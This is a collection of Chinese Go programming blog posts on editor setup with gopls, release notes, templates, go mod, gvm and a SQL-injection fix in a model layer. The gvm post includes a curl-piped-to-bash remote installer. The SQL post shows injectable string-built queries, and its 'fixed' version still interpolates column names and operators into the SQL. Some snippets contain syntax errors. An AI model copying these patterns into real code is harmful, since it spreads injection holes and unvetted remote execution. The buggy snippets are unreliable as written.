好了，知道有这个东西那就好办了

1、先安装GoSublime（之前部分随笔说不建议，是个误解，还是了解的不透彻）

安装步骤

找到Packages目录，然后将GoSublime clone到Packages目录下

git clone https://github.com/DisposaBoy/GoSublime

然后重启下Sublime Text 3

安装后打开用户配置，配置参考如下

{
 "ignored_packages":[ 
 "Vintage"
 ],
 "env": {
 "GOPATH": "$HOME/.gvm/pkgsets/go1.15.3/global",
 "GOROOT": "$HOME/.gvm/gos/go1.15.3"
 },
 "auto_complete":true,
 "auto_match_enabled":true,
 "fmt_cmd" :[ "goimports" ],
 "autocomplete_suggest_imports": true
}

提示：goimports工具要提前安装

go get -u golang.org/x/tools/cmd/goimports

另外记住一个快捷键组合键[Cmd+.][Cmd+x]，可以打开一个margo.go的文件，里面便是代码格式化、Linter等相关的配置，具体如何修改可以参考官网，为了避免跟后面的LSP冲突，需要将margo.go文件中的GoCode功能注释掉

// Enable auto-completion
// gs: this replaces the `gscomplete_enabled` setting
// &golang.Gocode{
// // show the function parameters. this can take up a lot of space
// ShowFuncParams: true,
// },

PS：https://packagecontrol.io/packages/GoSublime 这里其实也没有说明如何安装

2、安装LSP

Cmd+Shift+p 选择 Package Control: Install Package ，输入关键字LSP

然后打开LSP配置，参考下面进行更改

{
 "clients":
 {
 "gopls":
 {
 "command":
 [
 "/Users/durban/.gvm/pkgsets/go1.15.3/global/bin/gopls"
 ],
 "enabled": true,
 "languageId": "go",
 "scopes":
 [
 "source.go"
 ],
 "syntaxes":
 [
 "Packages/GoSublime/syntax/GoSublime-Go-Recommended.sublime-syntax"
 ]
 }
 }
}

这里多了一个 gopls 需要提前安装

go get -u golang.org/x/tools/gopls@latest

安装完之后重新启动Sublie Text 3，然后按键Cmd+Shift+p 选择 LSP: Enable Language Server Globally 然后选择 gopls

整个配置就结束了。

之前的配置是单独配置了LSP，感觉哪里好像不对，功能比较单一，部分功能还不如GoSublime，后面看到了一篇文章

给了我启发

暂时记录这些，应该还有未发现的更好的点，后续继续完善

Go 1.15.4 和 Go 1.14.11 版本发布

Tue, 05 Aug 2025 09:48:34 +0000

Go 1.15.4 和 Go 1.14.11 版本发布

官方发布时间：2020年11月05日

详情链接点击这里查询

更多发布的信息请点击这里

如果想下载的话请点击这里

go1.15.4 (released 2020/11/05) includes fixes to cgo, the compiler, linker, runtime, and the compress/flate, net/http, reflect, and time packages. See the Go 1.15.4 milestone on our issue tracker for details.

go1.14.11 (released 2020/11/05) includes fixes to the runtime, and the net/http and time packages. See the Go 1.14.11 milestone on our issue tracker for details.

Go 1.15.3 和 Go 1.14.10 版本发布

Tue, 05 Aug 2025 09:48:29 +0000

Go 1.15.3 和 Go 1.14.10 版本发布

官方发布时间：2020年10月15日

详情链接点击这里查询

更多发布的信息请点击这里

如果想下载的话请点击这里

go1.15.3 (released 2020/10/14) includes fixes to cgo, the compiler, runtime, the go command, and the bytes, plugin, and testing packages. See the Go 1.15.3 milestone on our issue tracker for details.

go1.14.10 (released 2020/10/14) includes fixes to the compiler, runtime, and the plugin and testing packages. See the Go 1.14.10 milestone on our issue tracker for details.

转载：vscode 的 golang 提示很慢

Tue, 05 Aug 2025 09:48:26 +0000

好文章就应该转载起来

最近一直在vscode下开发golang，这个方法跳转真的很慢，找了很久今天终于解决了，如果你也遇到，希望对你有用

如果你用vscode开发golang，发现golang的提示很慢或者跳转很慢，很可能是你没有使用gopls。

是真的没有使用不过用了之后，真的会很快

如下配置请参考，我是参考了第一个安装方式就可以了

下文截取自：http://www.seaxiang.com/blog/eQ3MJr

安装gopls

安装方式一
打开 VS Code 的 setting, 搜索 go.useLanguageServe, 并勾选上。默认情况下, Go 扩展会提示你安装 gopls。

安装方式二
另外也有可能是网络的问题, 直接去 https://github.com/golang/tools/tree/master/gopls
下载, 然后使用go isntall github.com/golang/tools/cmd/gopls安装。

安装方式三
网络好, 或者设置 goproxy 代理后, 可以直接手动安装 gopls, 官方提示不要使用 -u。

go get golang.org/x/tools/gopls@latest

配置
装完之后, 添加如下的配置, 如果使用第一种安装方式, 那么第一行已经存在了:

"go.useLanguageServer": true,
"[go]": {
 "editor.snippetSuggestions": "none",
 "editor.formatOnSave": true,
 "editor.codeActionsOnSave": {
 "source.organizeImports": true
 }
},
"gopls": {
 "usePlaceholders": true, // add parameter placeholders when completing a function
 "completionDocumentation": true // for documentation in completion items
},
"files.eol": "\n", // formatting only supports LF line endings

Composite literal uses unkeyed fields

Tue, 05 Aug 2025 09:48:24 +0000

错误提示：Composite literal uses unkeyed fields

最近遇到这个错误提示

原因是用了Mongodb的一个语法

mongodb.D{{"key", 1}}

于是在用golint做语法检查的时候，给了一个警告

go.mongodb.org/mongo-driver/bson/primitive.E composite literal uses unkeyed fieldsgo-vet

其实是用法有问题，但是代码也能正常运行

但是看着警告也是很不舒服的

修改如下

mongodb.D{primitive.E{Key: "key", Value: 1}}

警告的错误提示就没有了

具体解释可以参考这里composite literal uses unkeyed fields

如何在iOS和Android中运行Golang代码

Tue, 05 Aug 2025 09:48:21 +0000

如何在iOS和Android中运行Golang代码

今天发现一篇文章介绍了如何在iOS和Android下运行Golang代码的文章，感觉很厉害

今天记录下

原文地址点击这里

Golang - Go 1.15.2 和 Go 1.14.9发布

Tue, 05 Aug 2025 09:48:18 +0000

Go 1.15.2 和 Go 1.14.9发布

详情链接点击这里查询

更多发布的信息请点击这里

如果想下载的话请点击这里

go1.15.2 (released 2020/09/09) includes fixes to the compiler, runtime, documentation, the go command, and the net/mail, os, sync, and testing packages. See the Go 1.15.2 milestone on our issue tracker for details.

go1.14.9 (released 2020/09/09) includes fixes to the compiler, linker, runtime, documentation, and the net/http and testing packages. See the Go 1.14.9 milestone on our issue tracker for details.

Golang小知识 - go关键字创建并发执行

Tue, 05 Aug 2025 09:48:12 +0000

Golang小知识 - go关键字创建并发执行

go如何在实际代码中实现并发执行

下面示例如下

package main

import (
	"fmt"
	"time"
)

func worker(id int, jobs <-chan int) {
	fmt.Println("worker", len(jobs))

	for j := range jobs {
		fmt.Println("wodker", id, "started job", j)
	}
}

func main() {
	const jobsNum = 5
	jobs := make(chan int, jobsNum)

	for w := 1; w <= 3; w++ {
		go worker(w, jobs)
	}

	for j := 1; j <= jobsNum; j++ {
		jobs <- j
	}

	close(jobs)

	time.Sleep(time.Second * 4)
}

这里可以看出来

go worker(w, jobs)

这里的代码创建了三个并行的操作

我运行下看看运行结果，运行三次的结果如下

第一次运行结果

$ go run main.go
worker 5
wodker 1 started job 1
wodker 1 started job 2
wodker 1 started job 3
wodker 1 started job 4
wodker 1 started job 5
worker 0
worker 0

第二次运行结果

$ go run main.go
worker 5
worker 5
wodker 2 started job 2
wodker 2 started job 3
wodker 2 started job 4
wodker 2 started job 5
wodker 1 started job 1
worker 5

第三次运行结果

$ go run main.go
worker 5
wodker 3 started job 1
wodker 3 started job 2
worker 5
wodker 1 started job 4
wodker 1 started job 5
wodker 3 started job 3
worker 5

从运行的结果可以看出每次运行的结果都不一样

我们可以理解为启动的三个并行函数，都获得了 chan

for...range 执行的时候先从chan中获取数据的先执行这个先后顺序是根据计算机内部调用的来决定的。

Go 1.14 正式发布啦！多项重大更新(记录)

Tue, 05 Aug 2025 09:48:09 +0000

Go 1.14 正式发布，包含多项重大更新：

Go Module 已经可用于生产环境
允许接口方法进行重叠
几乎零成本的 defer 语句
调度器支持非协作异步抢占
全新的页分配器实现
全新的计时器实现

发布时间：Alex Rakoczy 25 February 2020

原文地址：https://blog.golang.org/go1.14

Golang小知识 - const和var的使用区别

Tue, 05 Aug 2025 09:48:06 +0000

Golang小知识 - const和var的使用区别

第一个举例

const和var声明的变量值为整型

package main

import "fmt"

func main() {
	const (
		a = 1
		b = 2
		c = 3
	)

	fmt.Println(a+b == c)

	var (
		m = 1
		n = 2
		o = 3
	)

	fmt.Println(m+n == o)
}

运行结果如下

$ go build -o ./build/app
$ ./build/app
true
true

第二个举例

const和var声明的变量值为浮点型

package main

import "fmt"

func main() {
	const (
		a = 0.1
		b = 0.2
		c = 0.3
	)

	fmt.Println(a+b == c)

	var (
		m = 0.1
		n = 0.2
		o = 0.3
	)

	fmt.Println(m+n == o)
}

运行结果如下

$ go build -o ./build/app
$ ./build/app
true
false

Golang小知识 - 别名的使用

Tue, 05 Aug 2025 09:48:00 +0000

初学者肯定知道 import 的作用

比如导入fmt包，只需要

import (
	"fmt"
)

但是

import (
	'fmt'
)

是不可以的，build的时候会报错的

$ go build -o ./build/app
can't load package: package .:
main.go:4:2: illegal rune literal

但是别名要如何使用

举个例子

import (
	"fmt"
	a "fmt"
	b "fmt"
	c "fmt"
)

意思就是说我可以将fmt这个包名改名为a或者b或者c调用的时候要怎么用

举个例子

func main() {
	fmt.Println("a string")
	a.Println("A")
	b.Println("B")
	c.Println("C")
}

在继续往下看答案之前，先想象下结果

结果如下

a string
A
B
C

小知识点每天掌握一点点，了解更深一点。

Golang 解决国内下载慢的问题（goproxy 代理）

Mon, 04 Aug 2025 18:08:23 +0000

解决方案 GOPROXY 环境变量

GOPROXY 环境变量。如果设置了该变量，下载源代码时将会通过这个环境变量设置的代理地址，而不再是以前的直接从代码库下载

下面看下如何设置

export GOPROXY=https://goproxy.io

也可以通过置空这个环境变量来关闭，

export GOPROXY=

不过使用GOPROXY的前提是要开启下面这个

export GO111MODULE=on

如果你使用的 Golang 版本>=1.13, 你可以通过设置GOPRIVATE环境变量来控制哪些私有仓库和依赖(公司内部仓库)不通过 proxy 来拉取，直接走本地，设置如下：

go env -w GOPROXY=https://goproxy.io,direct
# 设置不走 proxy 的私有仓库，多个用逗号相隔
go env -w GOPRIVATE=*.corp.example.com

另外再推荐一个国内的 https://goproxy.cn

Golang学习资源收集记录

Mon, 04 Aug 2025 18:08:18 +0000

Golang官网

https://golang.google.cn/

国内一些Golang的社区也很多的

https://learnku.com/go

https://golangtc.com/

https://go-zh.org/

https://studygolang.com/

https://forum.golangbridge.org/

https://blog.golang.org/

但是推荐下面这个，每个国家都有

Golang用户群

https://github.com/golang/go/wiki/GoUserGroups

基本初级的在线书籍，还没看过，记录再此

https://github.com/golang-china/gopl-zh

镜像列表

-> https://docs.hacknode.org/gopl-zh/ 这个可以打开
-> https://books.studygolang.com/gopl-zh/ 这个可以打开

继续补充中。。。

Golang网站开发之模版的template和block的使用

Mon, 04 Aug 2025 18:08:15 +0000

从Go 1.6版本开始，有一个新的语法叫做block，这个语法的使用类似于template语法的使用，但是不同的是block会有一个默认值，而template没有默认值

下面来演示下，具体说的是什么意思

下面有两个页面：分别是首页和关于我页面我将用这两个页面解释下template是如何工作的，并且如何使用新语法block来改变template语法

content模板

每个页面都会使用这个模版

首页模版(home.tmpl)

{{define "title"}}Home{{end}}
{{define "content"}}This is the Home page.{{end}}

关于我页面模板(about.tmpl)

{{define "title"}}About{{end}}
{{define "content"}}This is the About page.{{end}}

Base模板一个基础模板(base.tmpl):

<title>{{template "title" .}}</title>
<body>{{template "content" .}}</body>

渲染模版

在这个例子中，Base模板(base.tmpl)作为ParseFiles()第一个参数，content模板作为第二个参数。如果你转换了顺序的话，将不会展示任何东西，所以顺序很重要。

渲染首页的代码

t, err := template.ParseFiles("base.tmpl", "home.tmpl")
if err != nil {
	log.Fatal(err)
}

if err := t.Execute(os.Stdout, nil); err != nil {
	log.Fatal(err)
}

首页渲染的结果

<title>Home</title>
<body>This is the home page</body>

关于我页面渲染的代码

t, err := template.ParseFiles("base.tmpl", "about.tmpl")
if err != nil {
	log.Fatal(err)
}

if err := t.Execute(os.Stdout, nil); err != nil {
	log.Fatal(err)
}

关于我渲染页面的结果

<title>About</title>
<body>This is the about page.</body>

Template语法的限制

假设你的网站有500个content模板。为了在base.tmpl中添加一个footer部分的话，你必须修改所有这些500个content模板并且要添加对应的定义，否则你将得到一个类似下面的错误

no such template "footer"

新语法

现在我们来将template语法修改为block语法。不需要修改任何content模板的代码，只需要修改Base模板(base.tmpl)，想下面这样：

<title>{{block "title" .}}Default Title{{end}}</title>
<body>{{block "content" .}}This is the default body.{{end}}</body>

如果你的content模板没有任何匹配的定义，将会显示默认的内容。现在在build没有定义content的模板将不会再报错。

文章参考：http://www.josephspurrier.com/how-to-use-template-blocks-in-go-1-6/

Golang中template的使用注意事项（ParseFiles和ExecuteTemplate）

Mon, 04 Aug 2025 18:08:11 +0000

最近在开发博客网站，在渲染模板这块用的稍微多一些，但是遇到的问题也会多一些，每次遇到问题都能更加的了解一些，所以没事多写点东西，尤其是自己开发一些功能

先看下 ParseFiles(filenames …string) 提示：至少要传入一个文件

如下使用方式

var TemplatesFiles []string{
	"template/index.html",
	"template/login.html",
	"template/logout.html"
}

t, err := template.ParseFiles(TemplatesFiles...)

var name = "index.html"

t.ExecuteTemplate(w, name, nil)

当我再加一个模板文件的时候，如下

var TemplatesFiles []string{
	"template/index.html",
	"template/login.html",
	"template/logout.html",
	"template/auth/profile.html" // 多加的文件
}

t, err := template.ParseFiles(TemplatesFiles...)

var name = "auth/profile.html"

t.ExecuteTemplate(w, name, nil)

提示我找不到“auth/profile.html”这个文件

首先我们看下官方文档func (t *Template) ParseFiles(filenames ...string) (*Template, error)

这个函数的描述有下面一句话

When parsing multiple files with the same name in different directories, the last one mentioned will be the one that results.

官方有一个这样的描述，我英文不好，但是我看下另外一个方法func ParseFiles(filenames ...string) (*Template, error)

其下面有另外一个描述

When parsing multiple files with the same name in different directories, the last one mentioned will be the one that results. For instance, ParseFiles(“a/foo”, “b/foo”) stores “b/foo” as the template named “foo”, while “a/foo” is unavailable.

有个例子ParseFiles(“a/foo”, “b/foo”)，最后我们存储"b/foo"作为模版名字"foo"，从这里看出来模板的名字存储的值为"foo"，并不是"b/foo"，并且只能存储最后一个名字为"foo"的文件。

所以我们修改下前面的代码

var TemplatesFiles []string{
	"template/index.html",
	"template/login.html",
	"template/logout.html",
	"template/auth/profile.html" // 多加的文件
}

t, err := template.ParseFiles(TemplatesFiles...)

var name = "profile.html"

t.ExecuteTemplate(w, name, nil)

将auth/profile.html改为profile.html即可

也就是说存储的是一个文件名，不是一个文件的路径名，就算文件包括了文件路径名，也不会以包含路径的方式来命名模板的名字。

所以这里使用的时候会有一些限制，而且注意模板的命名使用规则

文件名尽量不要重名，重名的话再使用ParseFiles解析的时候，也不要传入文件名相同的文件，否则会默认忽略前面的文件。

Golang网站开发之模板中的range嵌套if的使用方法

Mon, 04 Aug 2025 18:08:07 +0000

情况介绍

我有一个分类想要在前端展示出来，并将选中的数组项进行特殊处理

开始我以为是这样的

选中的数组值存在CategoryID中分类数组列表存在Cate中

<div class="form-group">
 <label for="category">分类</label>
 <select class="form-control" id="category_id" name="category_id">
 {{range .Cate}}
 <option value="{{ .autokid }}" {{if eq .autokid .CategoryID}}selected{{end}}>{{ .name }}</option>
 {{ end }}
 </select>
</div>

结果前端运行的时候提示我

template: update.html:54:48: executing “content” at <eq .autokid .CategoryID>: error calling eq: invalid type for comparison

看不懂也不了解，但是看官方文档也是没有什么特殊提示的地方，可能是我没有找到吧，不过在搜索的过程中我隐约记得似乎需要进行赋值操作，我试着改了下，结果如下

<div class="form-group">
 <label for="category">分类</label>
 <select class="form-control" id="category_id" name="category_id">
 {{ $categoryID := .CategoryID }}
 {{range .Cate}}
 <option value="{{ .autokid }}" {{if eq .autokid $categoryID}}selected{{end}}>{{ .name }}</option>
 {{ end }}
 </select>
</div>

再次运行下试试，果然可以了，是什么原因要重新创建一个变量赋值后才能调用

期间我试过这样的操作

CategoryID {{.CategoryID}}

{{range .Cate}}
CategoryID {.CategoryID}
autokid
{{ .autokid }}
{{ end }}

会得到下面的结果

CategoryID - 1

CategoryID - 
autokid - 1

说明确实要重新创建一个变量来使用，否则直接在range范围内是无法调用的

Golang网站开发之model层修改

Mon, 04 Aug 2025 18:08:04 +0000

本次修改主要原因是为了避免SQL注入，也是在此对database/sql进行了深入的了解，以加深了对interface的使用

先说下之前的model中父类（这里之所以叫父类，是为了理解，有些golang开发者可能觉得不应该这样叫，其实语言学多了，大概都是一个抽象的名词，其中具体的实现逻辑或者叫法不太一致，这里的父类也可以更改为你自己的叫法）中方法的弊端，就是容易被注入。原因是：我的一些SQL是通过拼接的方式实现的，必然存在这个劣势，而且很危险，但是当时开始学也不知道如何解决，这次解决掉。

这里简单记录下，之前的错误做法，以MergeWhere函数为例，

// MergeWhere 合并where条件
func (w WhereValues) MergeWhere() string {
	where := []string{}

	if len(w) == 0 {
		return "1=1"
	}

	for k, v := range w {
		if v.Operator == "" {
			s := fmt.Sprintf("%s = %s", k, v.Value)
			where = append(where, s)
		} else {
			s := fmt.Sprintf("%s %s %s", k, v.Operator, v.Value)
			where = append(where, s)
		}
	}

	return strings.Join(where, " AND ")
}

从这个函数可以看出来，最后返回一个拼接的sql，而且值也是已经拼接好的，问题就在这里，下面看下修复后的代码

// SortedKeys WhereValues
func (w WhereValues) SortedKeys() []string {
	sortedKeys := make([]string, 0)
	for k := range w {
		sortedKeys = append(sortedKeys, k)
	}

	sort.Strings(sortedKeys)

	return sortedKeys
}

// MergeWhere 合并where条件
func (w WhereValues) MergeWhere() (string, []interface{}) {
	where := []string{}
	value := make([]interface{}, len(w))

	if len(w) == 0 {
		return "1=1", nil
	}

	sortedKeys := w.SortedKeys()

	var j = 0
	for _, k := range sortedKeys {

		v := w[k]
		if v.Operator == "" {
			s := fmt.Sprintf("%s = ?", k)
			where = append(where, s)
		} else {
			s := fmt.Sprintf("%s %s ?", k, v.Operator)
			where = append(where, s)
		}

		value[j] = v.Value
		j++
	}

	return strings.Join(where, " AND "), value
}

上面的代码多返回一个value值，这个value值是一个[]interface{}，之所以这样做是因为，官方接口定义了接口参数是一个...interface{}类型，所以必须要符合规范要求，以方便接口调用

参考 https://golang.org/src/database/sql/sql.go

func (db *DB) Exec(query string, args …interface{}) (Result, error)

func (db *DB) Query(query string, args …interface{}) (*Rows, error)

除此之外加了一个SortedKeys函数，保证参数跟占位符的顺序一致

下面看下如何使用

func (p *ModelProperty) Query(s SelectValues, where WhereValues, offset int64, limit int64) ([]SelectResult, error) {
	var selectString = s.MergeSelect()

	// 多返回一个参数whereValue
	whereString, whereValue := where.MergeWhere()

	sql := fmt.Sprintf("SELECT %s FROM %s WHERE %s LIMIT %d, %d",
		selectString, p.TableName, whereString, offset, limit)

	// 注意这里多加了一个whereValue的参数，其使用方式注意下，后面加了三个点号
	rows, err := Conn.Query(sql, whereValue...)

	result := []SelectResult{}

	if err != nil {
		return result, err
	}

	selectField := s.MergeSelectValue()

	for rows.Next() {
		err = rows.Scan(selectField...)

		if err != nil {
			return result, err
		}

		tmpResult := s.MergeResultValues()

		result = append(result, tmpResult)
	}

	return result, nil
}

Golang版本管理工具gvm

Mon, 04 Aug 2025 18:08:01 +0000

如果你是做开发的，那么版本的兼容性有时候很重要，但是如何才能做到多个版本共存呢，建议使用gvm

安装

具体的安装方式官网已经有了一个很好的介绍了，请点击(这里)[https://github.com/moovweb/gvm]

bash的安装方式，执行下面这个命令

bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)

zsh的安装方式

zsh < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)

安装完之后建议先安装go1.4这个版本，主要是因为go1.5+之后的版本已经移除了c编译直接用go替换了，如果没有安装go的话是没有办法安装后面的版本的，这块的记忆间隔时间比较久了，如果可以直接安装最新版本的话我会继续来更新此处的记录。

安装命令如下

gvm install go[版本号]

如果安装慢的话，建议加个代理，毕竟人家在国外，有时候访问要绕很远才能访问到

卸载命令如下

go implode

这个命令会完全的移除gvm和所有安装的包和go版本，所以使用的时候小心

正确的使用方式

gvm既然作为一个版本管理器，就会有一个问题，就是我们的一个项目，在运行的时候，具体选择哪个版本来运行，以及测试的时候需要确定使用哪个版本来运行的问题

那么既然gvm作为一个管理版本的工具，gvm就有这个功能提供给我们使用

比如我们的项目在~/go/src/wiki-blog的目录下面

然后运行下面代码

$ go version
go version go1.13.1 darwin/amd64
cd ~/go/src/wiki-blog
$ gvm linkthis
/xxx/xxx/.gvm/pkgsets/go1.13.1/global/src/wiki-blog -> /xxx/xxx/go/src/wiki-blog

从上面的执行看出来，当前的go版本是1.13.1，所以link之后，会将我们的项目软连接到/xxx/xxx/.gvm/pkgsets/go1.13.1/global/src目录下面。

$ ll /xxx/xxx/.gvm/pkgsets/go1.13.1/global/src
lrwxr-xr-x 1 durban staff 29B 12 27 17:51 wiki-web -> /xxx/xxx/go/src/wiki-web

最后开发的时候我们进入/xxx/xxx/go/src/wiki-blog目录，运行和编译的时候依然不会有任何影响，如果我们后面增加了一个新的版本

$ gvm install go1.13.5
Updating Go source...
Installing go1.13.5...
* Compiling...
go1.13.5 successfully installed!

只要我们安装版本后，并执行命令gvm use go1.13.5 --default 然后再次执行命令

$ go version
go version go1.13.5 darwin/amd64

cd ~/go/src/wiki-blog
$ gvm linkthis
/xxx/xxx/.gvm/pkgsets/go1.13.5/global/src/wiki-blog -> /xxx/xxx/go/src/wiki-blog

会将我们的项目软连接到/xxx/xxx/.gvm/pkgsets/go1.13.5/global/src目录下面。

$ ll /xxx/xxx/.gvm/pkgsets/go1.13.5/global/src
lrwxr-xr-x 1 durban staff 29B 12 27 17:51 wiki-blog -> /xxx/xxx/go/src/wiki-blog

然后需要进行依赖包的安装，gvm并不会将前一个版本的代码库移植到新的代码库中。所以这里强调，一定在有依赖包管理的情况下再进行安装使用，不然别轻易切换版本，不过现在go mod也是不错的选择。另外在进行go linkthis的时候一定是在src的下面的一级目录（即src当前目录），不要再深入二级之后的目录去执行，不然映射的路径会有问题的。

不过这里奇怪的是，src作为一个源码目录的标识是不是挺不方便的

Golang依赖库“go mod”不要太方便

Mon, 04 Aug 2025 18:07:58 +0000

Golang依赖库“go mod”不要太方便，记录下使用过程

我是在用两个版本在开发的

go1.13.1 和 go1.13.5

之前一直也没有使用什么版本库，你如govendor也只是在另外一个项目接触过

下面记录下我是如何使用的

先在go1.13.1版本下，在项目目录中~/go/src/github.com/durban89/wiki执行

$ export GO111MODULE=on
$ go mod init github.com/durban89/wiki
go: creating new go.mod: module github.com/durban89/wiki

请注意这里的init后面的目录，并不是不填写或者是项目wiki的名称

然后发现项目根目录下面会多两个文件

go.mod
go.sum

第一次使用当然好奇里面是什么了，打开看下

$ cat go.mod
module github.com/durban89/wiki

go 1.13

哎，为什么没有我们的依赖包，好吧，请执行下面的命令

go build ./...

然后会看到如下的输出

go: finding github.com/mattn/go-sqlite3 v2.0.2+incompatible
go: finding github.com/lib/pq v1.3.0
go: finding github.com/go-sql-driver/mysql v1.4.1
go: downloading github.com/mattn/go-sqlite3 v2.0.2+incompatible
go: downloading github.com/lib/pq v1.3.0
go: downloading github.com/go-sql-driver/mysql v1.4.1
go: extracting github.com/go-sql-driver/mysql v1.4.1
go: extracting github.com/lib/pq v1.3.0
go: extracting github.com/mattn/go-sqlite3 v2.0.2+incompatible

就是找到了三个依赖库并下载了三个并解开了三个，为什么解开？我不是已经安装了吗？这里留个疑问

再开下go.mod

$ cat go.mod
module github.com/durban89/wiki

go 1.13

require (
 github.com/go-sql-driver/mysql v1.4.1
 github.com/lib/pq v1.3.0
 github.com/mattn/go-sqlite3 v2.0.2+incompatible
)

再看下go.sum

$ cat go.sum
github.com/go-sql-driver/mysql v1.4.1 h1:g24URVg0OFbNUTx9qqY1IRZ9D9z3iPyi5zKhQZpNwpA=
github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/mattn/go-sqlite3 v2.0.2+incompatible h1:qzw9c2GNT8UFrgWNDhCTqRqYUSmu/Dav/9Z58LGpk7U=
github.com/mattn/go-sqlite3 v2.0.2+incompatible/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=

吓，终于有内容了。切换下版本试试，看看会不会自动安装

$ gvm use go1.13.5 --default
Now using version go1.13.5

先build下

$ go build
go: downloading github.com/go-sql-driver/mysql v1.4.1
go: downloading github.com/lib/pq v1.3.0
go: downloading github.com/mattn/go-sqlite3 v2.0.2+incompatible
go: extracting github.com/lib/pq v1.3.0
go: extracting github.com/go-sql-driver/mysql v1.4.1
go: extracting github.com/mattn/go-sqlite3 v2.0.2+incompatible
go: finding github.com/go-sql-driver/mysql v1.4.1
go: finding github.com/lib/pq v1.3.0
go: finding github.com/mattn/go-sqlite3 v2.0.2+incompatible

然后运行下项目

$ go run main.go
2019/12/27 18:28:52 Starting web server on :8090

果然很爽，爽的不要不要的，今后再也不用担心我的依赖库没有办法方便的转移了。

另外，使用go mod之后，项目之后的新的依赖库的通过命令

go get xxxxx

如果使用

go install xxxx

的话会导致新的依赖不会自动添加到go.mod文件中

Golang知识点：interface与string之间的转换

Mon, 04 Aug 2025 18:07:54 +0000

简单总结下interface与string之间的转换方式，新手可以尝试下，方便以后使用中查询

第一种interface与string之间的转换方式如下

var x interface{} = "abc"
str := fmt.Sprintf("%v", x)

第二种interface与string之间的转换方式如下

var x interface{} = []int{1, 2, 3}
str := fmt.Sprintf("%v", x)
fmt.Println(str) // "[1 2 3]"

第三种interface与string之间的转换方式如下

map的类型是map[string]interface{}的时候需要需要添加.(string)，使用方式如下

value := arguments["key"].(string)

第四种interface与string之间的转换方式如下

最新版本的Docopt会返回一个Opts对象，这个对象有一个转换方法，使用方式如下

value, err := arguments.String("key")

参考如下：

https://yourbasic.org/golang/interface-to-string/

https://stackoverflow.com/questions/27137521/how-to-convert-interface-to-string

Golang网站开发之跳转逻辑实现和模版if操作

Mon, 04 Aug 2025 18:07:50 +0000

当我们提交一个表单的时候，在遇到问题，需要跳转回去继续完善表单的时候，我们如何来处理这个跳转逻辑首先我们要获取上个页面的地址当然如果你已经知道要跳转到哪个页面的话就会比较容易操作了

1、知道要跳转的地址

http.Redirect(w, r, 'articles/create.html', http.StatusSeeOther)

这个方式能够很直观的进行跳转操作

2、不知道要跳转的地址，但是需要获取referer来跳转

首选获取referer

referer := r.Referer()

然后解析获取里面的path，为什么不知道使用referer，如果referer中含有参数的话，我们直接拼接地址的话会出现参数混乱的问题，所以最好是通过解析后在重组的方式，这样有利于我们处理里面的参数

然后使用

u, err := url.Parse(referer)

这样我们就拿到了u这个参数，里面有个Path键值，可以直接获取到Path值

u.Path

之后稍加点逻辑处理下，将重组的URL赋值给Redirect的第三个参数

// 获取Get参数
q := u.Query()

// 删除存在的err_msg参数
q.Del("err_msg")

// 重组
nu := &url.URL{
	Scheme: u.Scheme,
	Host: u.Host,
	Path: u.Path,
	RawQuery: q.Encode() + "&err_msg=参数异常",
}
// 跳转吧
http.Redirect(w, r, nu.String(), http.StatusSeeOther)

上面的逻辑整理后得到下面的方法

// BackWithQuery 回跳
func BackWithQuery(r \*http.Request, query string) string {
	u, err := url.Parse(r.Referer())
	if err != nil {
		log.Fatal("url Parse error:", err)
	}

	q := u.Query()

	q.Del("err_msg")

	nu := &url.URL{
		Scheme: u.Scheme,
		Host: u.Host,
		Path: u.Path,
		RawQuery: q.Encode() + "&" + query,
	}

	return nu.String()
}

喜欢的拿走不谢

模板if操作

if操作举个例子，如下

{{ if .Msg }}
<div class="row">
 <div class="col-md-12">
 <div class="alert alert-danger">
 {{ .Msg }}
 </div>
 </div>
</div>
{{ end }}

具体参考官方文档 https://golang.org/pkg/text/template/ 比如如果在if中判断两个值相等，则搜索下eq ,eq后面有个空格

<select class="form-control" id="category_id" name="category_id">
 {{ if eq .autokid .CategoryID }}
 <option value="{{ .autokid }}" selected>{{ .name }}</option>
 {{ else }}
 <option value="{{ .autokid }}">{{ .name }}</option>
 {{ end }}
</select>

Golang网站开发之模版的if操作

Mon, 04 Aug 2025 18:07:46 +0000

在网页开发中避免不了会使用到模板，那么在使用模板的时候肯定会遇到条件的判断逻辑

在php的laravel中，在模板中，if条件判断使用如下

@if(条件)
// ... 需要实现的代码逻辑
@else if(条件)
// ... 需要实现的代码逻辑
@else
// ... 需要实现的代码逻辑
@endif

在python的flask中，在模板中，if条件判断使用如下

{@ if(条件) @}
# ... 需要实现的代码逻辑
{@ elif (条件)@}
# ... 需要实现的代码逻辑
{@ else @}
# ... 需要实现的代码逻辑
{@ endif @}

在golang中，if条件判断使用如下

{{if .C}}
// ... 需要实现的代码逻辑
{{else if}}
// ... 需要实现的代码逻辑
{{else}}
// ... 需要实现的代码逻辑
{{end}}

比如我这里在创建的时候问了现实msg错误信息，简单的使用如下

{{ if .Msg }}
<div class="row">
 <div class="col-md-12">
 <div class="alert alert-danger">
 {{ .Msg }}
 </div>
 </div>
</div>
{{ end }}

Golang网站开发之时间戳及格式化时间字符串的使用

Mon, 04 Aug 2025 18:07:43 +0000

在其他语言中，进行web开发的时候，比如做创建一条记录的时候，需要我们自己传入时间戳或者是时间字符串的话，我们应该如何操作呢

如果是PHP的话

时间戳

timestamp = time()

timestamp = strtotime('2019-12-09 14:28:20')

格式化时间

date = date('Y-m-d H:i:s', time())

那么在Python中的话

时间戳

import time
timestamp = int(time.time())

import time
t = time.strptime('2019-12-09 14:28:20', "%Y-%m-%d %H:%M:%S")
timestamp = int(time.mktime(t))

格式化时间

from datetime import datetime
dt = datetime.today()
date = dt.strftime("%Y-%m-%d %H:%M:%S")

from datetime import datetime
dt = datetime.fromtimestamp(1575872705)
date = dt.strftime("%Y-%m-%d %H:%M:%S")

那么在golang中应该如何实现时间戳与时间格式化字符串间的转换呢

时间戳

import (
	"time"
)

t := time.Now()
timestamp := t.Unix()

import (
	"time"
)

